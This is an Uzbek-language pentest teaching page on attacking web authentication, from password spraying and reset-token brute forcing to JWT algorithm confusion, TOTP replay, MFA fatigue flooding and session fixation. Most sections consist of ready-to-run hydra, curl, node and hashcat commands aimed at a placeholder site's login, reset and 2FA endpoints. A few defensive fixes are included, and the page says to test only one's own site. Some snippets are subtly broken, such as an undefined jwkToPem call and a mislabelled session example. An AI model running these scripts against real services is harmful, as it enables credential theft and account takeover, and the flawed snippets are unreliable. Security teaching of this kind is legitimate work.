Autentifikatsiya chuqurligi

01Password spraying

Bitta parolni ko'plab hisoblarga urish. Brute force'dan sekin, lekin ko'proq joyga yetadi va bloklashni kamaytiradi.

Differensiatsiyalangan parollar ro'yxati

# eng ko'p ishlatiladigan parollar (ma'lumotlar bazalaridan)
123456        password     12345678     qwerty       123456789
password1     iloveyou     111111       admin        letmein
welcome       monkey       dragon       123123       football
sunshine      princess     1234567      1234         baseball

Barcha platformada

$ # hydra — eng tez
sudo apt install -y hydra

hydra -L users.txt -p '123456' -t 4 -W 3 \
      site.uz https-post-form "/login:username=^USER^&password=^PASS^:Login incorrect"
      # 4 thread, 3 sekund kutish

# CMD da oddiy loop
for %%U in (ali@x.uz vali@x.uz olim@x.uz) do (
  for %%P in (123456 password Password1 admin) do (
    curl -s -X POST -H 'Content-Type: application/json' \
      -d "{\"email\":\"%%U\",\"password\":\"%%P\"}" \
      https://site.uz/api/auth/login | findstr "token" && echo "  TOPILDI: %%U / %%P"
  )
  REM har bir urinishdan keyin kutish
  ping -n 4 127.0.0.1 > nul
)

# eng sodda — hech narsa o'rnatmasdan
for U in ali@x.uz vali@x.uz olim@x.uz; do
  for P in 123456 password Password1 admin; do
    R=$(curl -s -X POST -H 'Content-Type: application/json' \
      -d "{\"email\":\"$U\",\"password\":\"$P\"}" https://site.uz/api/auth/login)
    echo "$R" | grep -q token && echo "  TOPILDI: $U / $P"
    sleep 2
  done
done

02Parol tiklash — to'liq hujum zanjiri

Bu — eng ko'p uchraydigan va eng xavfli hujum. Maqsad: parolsiz begona hisobga kirish.

Zanjir qadamlari

curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"email":"admin@site.uz"}' https://site.uz/api/auth/forgot-password

# javobdan token uzunligini ko'ring
{"message":"Token yuborildi"}        # token ID chiqadimi?
{"reset_token":"abc123..."}          ← token ochiq = XAVFLI

curl -s https://site.uz/api/auth/verify-reset-token/expired-token-123
{"valid":false,"message":"Vaqti o'tgan"}
# 1 soat/1 kun/1 yil? 1 yil = zaif

# token 6 raqamli bo'lsa — real xavf
for T in 000000 111111 123456; do
  curl -s https://site.uz/api/auth/verify-reset-token/$T
done

Qo'shimcha hujum usullari

# mass assignment: reset paytida rol o'zgartirish
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"token":"...","new_password":"New123!","role":"admin"}' \
  https://site.uz/api/auth/reset-password
# rol "admin" bo'lib qolsa — escalation

# eski token bilan qayta ishlatish (replay)
curl -s -X POST -d "token=$T&new_password=Aaa123!" https://site.uz/api/auth/reset-password
curl -s -X POST -d "token=$T&new_password=Bbb123!" https://site.uz/api/auth/reset-password
# ikkinchisi ishlasa — token single-use emas

# boshqa foydalanuvchining tokeni bilan
curl -s -X POST -d "token=$OTHER_USER_TOKEN&new_password=Hacked1!" \
  https://site.uz/api/auth/reset-password

03Account enumeration

Foydalanuvchi ro'yxatda bormi aniqlash — bruteforce uchun tayyorgarlik.

5 ta usul

Timing hujumi

# mavjud email — bcrypt sekin (haqiqiy parol tekshiriladi)
for i in 1 2 3 4 5 6; do
  curl -s -o /dev/null -w "%{time_total}\n" -X POST \
    -H 'Content-Type: application/json' \
    -d '{"email":"mavjud@site.uz","password":"wrong"}' \
    https://site.uz/api/auth/login
done | awk '{t+=$1} END {printf "  o\u0020rtacha %.4f s\n", t/NR}'

# yo'q email — sun'iy bcrypt (barchasi bir xil vaqt)
for i in 1 2 3 4 5 6; do
  curl -s -o /dev/null -w "%{time_total}\n" -X POST \
    -H 'Content-Type: application/json' \
    -d '{"email":"yoq@site.uz","password":"wrong"}' \
    https://site.uz/api/auth/login
done | awk '{t+=$1} END {printf "  o\u0020rtacha %.4f s\n", t/NR}'

# farq 0.01 s dan katta bo'lsa — zaif

04JWT chuqurligi

4.1 Algoritm chalkashligi (RS256 → HS256)

# 1) header da "kid" ni topish
echo "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null
{"alg":"RS256","kid":"key-2024-01","typ":"JWT"}
   ↑ kid — kalit identifikatori

# 2) jwks.json dan ochiq kalitni olish
curl -s https://site.uz/.well-known/jwks.json | python3 -m json.tool

# 3) HMAC sir sifatida ishlatib token yasash
node -e "
const jwt=require('jsonwebtoken'), crypto=require('crypto'), fs=require('fs');
const jwks=JSON.parse(fs.readFileSync('jwks.json'));
const key=jwks.keys[0];
const pub=crypto.createPublicKey({key:jwkToPem(key),format:'pem'}).export({type:'spki',format:'pem'});
const token=jwt.sign({id:'1',role:'admin'}, pub, {algorithm:'HS256'});
console.log(token);"

jwt.verify(token, key, { algorithms: ['RS256'] });
// ↑ FAQAT RS256. HS256 qabul qilinmaydi.
// va `kid` ni ishonchli manbadan oling (foydalanuvchidan emas)

4.2 Zaif sir

# sirni sinab ko'rish — mashhur parollar ro'yxati
for S in secret password admin key jwt lingofy 12345; do
  node -e "
    const jwt=require('jsonwebtoken');
    try { jwt.verify('$TOKEN','$S'); console.log('  BUZILDI: sir = $S'); }
    catch(e) {}"
done

# hashcat/hashcat - dictionary bilan (sekin lekin to'liq)
hashcat -m 16500 hash.txt rockyou.txt   # JWT HS256

4.3 Boshqa zaifliklar

05OAuth / OIDC zaifliklari

Asosiy oqim

# 1. Ilova foydalanuvchini login sahifasiga yuboradi
https://site.uz/login?

# 2. Foydalanuvchi login qiladi va "Rozilik berish" bosing

# 3. GitHub/Google foydalanuvchini qaytaradi
https://site.uz/callback?code=AUTH_CODE&state=RANDOM

# 4. Backend code ni almashtiradi (token)
POST https://github.com/login/oauth/access_token

Zaifliklar

state boshqaruvi

// ❌ XAVFLI — state yo'q
const url = '/callback?code=' + req.query.code;

// ✅ TO'G'RI — tasodifiy state, serverda saqlanadi
const state = crypto.randomBytes(16).toString('hex');
session.oauth_state = state;
// qaytishda tekshirish:
if (req.query.state !== session.oauth_state) return fail();

06MFA chuqurligi

6.1 TOTP kodini qayta ishlatish (replay)

# 1-kod
curl -s -X POST -d "code=$T1" https://site.uz/2fa
{"success":true}

# 2-marta XUDDI shu kodni
curl -s -X POST -d "code=$T1" https://site.uz/2fa
{"success":true}     ← ZAIF: replay mumkin
// to'g'ri javob: {"expired":true} yoki {"used":true}

6.2 TOTP oynasi juda katta

# nechta kod bir vaqtda qabul qilinadi?
window=1  → 3 ta kod (oldingi, joriy, keyingi)  = 1/333333
window=5  → 11 ta kod                          = 1/90000   zaif
window=10 → 21 ta kod                          = 1/47619   juda zaif

// TO'G'RI: window=1 (yoki 0 = faqat joriy kod)

6.3 MFA charchashi (MFA fatigue)

# 50 marta "kirishga urinish" SMS yuborish
for i in $(seq 1 50); do
  curl -s -X POST -d "user_id=1" https://site.uz/api/auth/request-2fa
done
# foydalanuvchi charchab, keyinchalik tasdiqlaydi
# → keyingi "kirish" so'rovi hujumchining bo'ladi

6.4 Zaxira kodlar

# zaxira kod bitta ishlatiladimi?
curl -s -X POST -d "email=a@x.uz&backup_code=12345678" https://site.uz/2fa
{"success":true}
curl -s -X POST -d "email=a@x.uz&backup_code=12345678" https://site.uz/2fa
{"success":true}    ← bir necha marta ishlatilsa — zaif

# 2FA o'chiriladimi?
curl -s -X POST -H "Authorization: Bearer $T" -d "action=disable" https://site.uz/2fa
{"success":true}    ← parol talab qilinmasa — xavfli

07Sessiya boshqaruvi

Idle timeout

# sayt qancha vaqt "yoniq" turadi?
curl -s -D- -o /dev/null https://site.uz/ | grep -i "set-cookie" | tr ';' '\n' | grep -i max-age
# Max-Age=3600 → 1 soat (absolute)
# idle timeout alohida bo'lishi kerak:
# har so'rovda last_activity yangilanadi,
# 15 daqiqa hech so'rov bo'lmasa → sessiya o'ladi

Sessiya aylanishi (rotation)

// ❌ login da ID o'zgarmaydi — fixation mumkin
app.post('/login', (req,res) => { session.regenerate(); ... });

// ✅ login da YANGI ID beriladi
app.post('/login', (req,res) => {
  const oldId = req.session.id;
  req.session.regenerate(() => {   // yangi ID
    req.session.oldIdForAudit = oldId;
    ...
  });
});

08Parol siyosati tahlili

# majmuaviy ro'yxat bilan tekshirish
for P in 123456 password qwerty letmein admin welcome iloveyou monkey dragon; do
  curl -s -X POST -H 'Content-Type: application/json' \
    -d "{\"email\":\"test@x.uz\",\"password\":\"$P\"}" \
    https://site.uz/api/auth/register | head -c 60
  echo
done

# parol siyosati qanchalik kuchli?
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"email":"a@b.com","password":"abc"}' https://site.uz/api/auth/register
{"message":"Parol kamida 8 belgi..."}         ← zaif
{"message":"Parol kamida 12 belgi, katta/kichik harf va raqam..."}  ← yaxshi

★Qaysi OS da ishlaydi

oathtool — 2FA ni terminaldan sinash

$ pip3 install oathtool
$ oathtool --totp -b JBSWY3DPEHPK3PXP -i 1 | xargs -I{} \
    curl -s -X POST -d "code={}" https://site.uz/2fa

# pip orqali (Python o'rnatilgan bo'lishi kerak)
pip install oathtool
oathtool --totp -b JBSWY3DPEHPK3PXP -i 1

# yoki Node.js bilan (Node o'rnatilgan bo'lsa)
npm install -g otplib
node -e "const o=require('otplib');console.log(o.totp.create({secret:'JBSWY3DPEHPK3PXP'}).generate())"

Autentifikatsiya chuqurligi · Pentest O'rgatuvchi · Lingofy.uz · 2026‑09‑26
O'z saytingizda sinang. O'z hisobingizni sinov qilib ishlatmang.